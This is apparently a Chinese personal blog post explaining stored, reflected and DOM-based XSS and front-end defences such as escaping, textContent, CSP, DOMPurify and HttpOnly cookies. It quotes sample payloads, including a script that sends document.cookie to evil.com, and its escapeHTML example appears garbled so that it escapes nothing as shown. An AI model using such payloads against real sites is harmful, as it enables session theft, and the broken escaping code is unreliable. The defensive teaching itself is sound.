在 Web 安全领域,跨站脚本攻击(Cross-Site Scripting,简称 XSS)长期位居 OWASP Top 10 之列,是最常见、最容易被忽视却又危害极大的漏洞类型之一。攻击者通过向页面注入恶意脚本,可以窃取用户 Cookie、会话令牌,篡改页面内容,甚至发起蠕虫式传播。本文将从 XSS 的常见类型入手,逐一分析攻击手法,并重点介绍前端层面的防御策略。
一、XSS 的三种常见类型
1. 存储型 XSS(Stored XSS)
存储型 XSS 是指恶意脚本被永久存储在目标服务器上(如数据库、评论系统、用户资料页),当其他用户访问该页面时,脚本自动执行。这类攻击危害最大,因为它无需诱导用户点击特定链接,只要访问受感染的页面就会中招。
典型场景:攻击者在评论区提交 <script>fetch('https://evil.com?c='+document.cookie)</script>,该评论被存入数据库后,所有查看评论的用户都会执行这段脚本,Cookie 被发送到攻击者服务器。
2. 反射型 XSS(Reflected XSS)
反射型 XSS 中,恶意脚本作为请求参数的一部分发送给服务器,服务器未经充分处理便将其“反射”回响应页面。攻击者通常需要构造一个恶意链接,诱导用户点击。
典型场景:搜索页面将关键词直接输出到 HTML 中,攻击者构造链接 https://example.com/search?q=<script>alert(1)</script>,用户点击后脚本执行。
3. DOM 型 XSS(DOM-based XSS)
DOM 型 XSS 完全发生在浏览器端,不经过服务器响应。攻击者通过修改页面的 DOM 环境(如 URL 的 hash、document.referrer 等),触发前端 JavaScript 的不安全操作。
典型场景:
// 危险写法:直接将 URL 参数写入 innerHTML
var name = new URLSearchParams(location.search).get('name');
document.getElementById('output').innerHTML = name;
攻击者构造 ?name=<img src=x onerror=alert(1)> 即可触发。
二、前端防御的核心原则
防御 XSS 的核心思想是:永远不要信任用户输入,对所有输出进行恰当的编码或转义。前端虽然不能替代服务端的防御,但在多层防御体系中扮演着关键角色。
1. 输出编码与转义
根据输出位置的不同,采用对应的编码方式:
- HTML 上下文:将
&、<、>、"、'转义为 HTML 实体(&、<、>、"、')。 - JavaScript 上下文:使用
JSON.stringify()或对特殊字符进行 Unicode 转义。 - URL 上下文:使用
encodeURIComponent()。 - CSS 上下文:避免将用户输入放入 CSS,如必须则进行严格白名单过滤。
function escapeHTML(str) {
return str.replace(/[&<>"']/g, function (match) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return map[match];
});
}
2. 避免危险的 DOM API
以下 API 极易引发 DOM 型 XSS,应尽量避免或严格过滤输入:
innerHTML、outerHTMLdocument.write()、document.writeln()eval()、setTimeout(string)、setInterval(string)Function()构造函数element.insertAdjacentHTML()
推荐使用安全的替代方案:
// 安全:使用 textContent 代替 innerHTML
document.getElementById('output').textContent = userInput;
// 安全:创建元素并设置属性
const el = document.createElement('div');
el.textContent = userInput;
container.appendChild(el);
3. 使用现代框架的自动转义
React、Vue、Angular 等现代前端框架默认对插值表达式进行转义。例如 React 中 {userInput} 会自动转义 HTML,Vue 中 {{ userInput }} 同样如此。但需注意:
- React 的
dangerouslySetInnerHTML会绕过转义,必须配合 DOMPurify 等库使用。 - Vue 的
v-html指令同样危险,应避免或净化后使用。
4. 内容安全策略(CSP)
CSP 是纵深防御的重要手段,通过 HTTP 响应头限制页面可以加载和执行的资源来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'
即使攻击者成功注入脚本,CSP 也能阻止其执行。建议禁用 unsafe-inline 和 unsafe-eval,使用 nonce 或 hash 机制允许可信内联脚本。
5. 使用 DOMPurify 净化 HTML
当业务确实需要渲染富文本时,使用成熟的净化库如 DOMPurify:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);
element.innerHTML = clean;
DOMPurify 会移除所有危险标签和属性,仅保留安全的白名单内容。
6. 设置 HttpOnly 和 Secure Cookie
虽然这属于服务端配置,但前端开发者应推动其落实。将敏感 Cookie 标记为 HttpOnly,可防止 JavaScript 通过 document.cookie 读取,即使 XSS 发生也无法直接窃取会话。
三、总结
XSS 防御不是单一措施能够解决的,需要构建多层防御体系:
| 防御层 | 措施 |
|---|---|
| 输入验证 | 白名单校验,拒绝非法字符 |
| 输出编码 | 根据上下文进行 HTML/JS/URL 编码 |
| DOM 操作 | 使用 textContent,避免 innerHTML |
| 框架安全 | 利用自动转义,慎用危险 API |
| 净化库 | DOMPurify 处理富文本 |
| CSP | 限制脚本来源,阻断内联执行 |
| Cookie | HttpOnly + Secure 标记 |
前端开发者应当时刻保持安全意识,将 XSS 防御融入日常编码习惯。记住:任何来自用户的数据都是不可信的,只有在正确的上下文中进行恰当的编码,才能从根本上阻断 XSS 攻击链。
未经允许不得转载:任鹏个人博客 » XSS 的常见方式和前端如何防御


朋友圈点赞图在线生成源码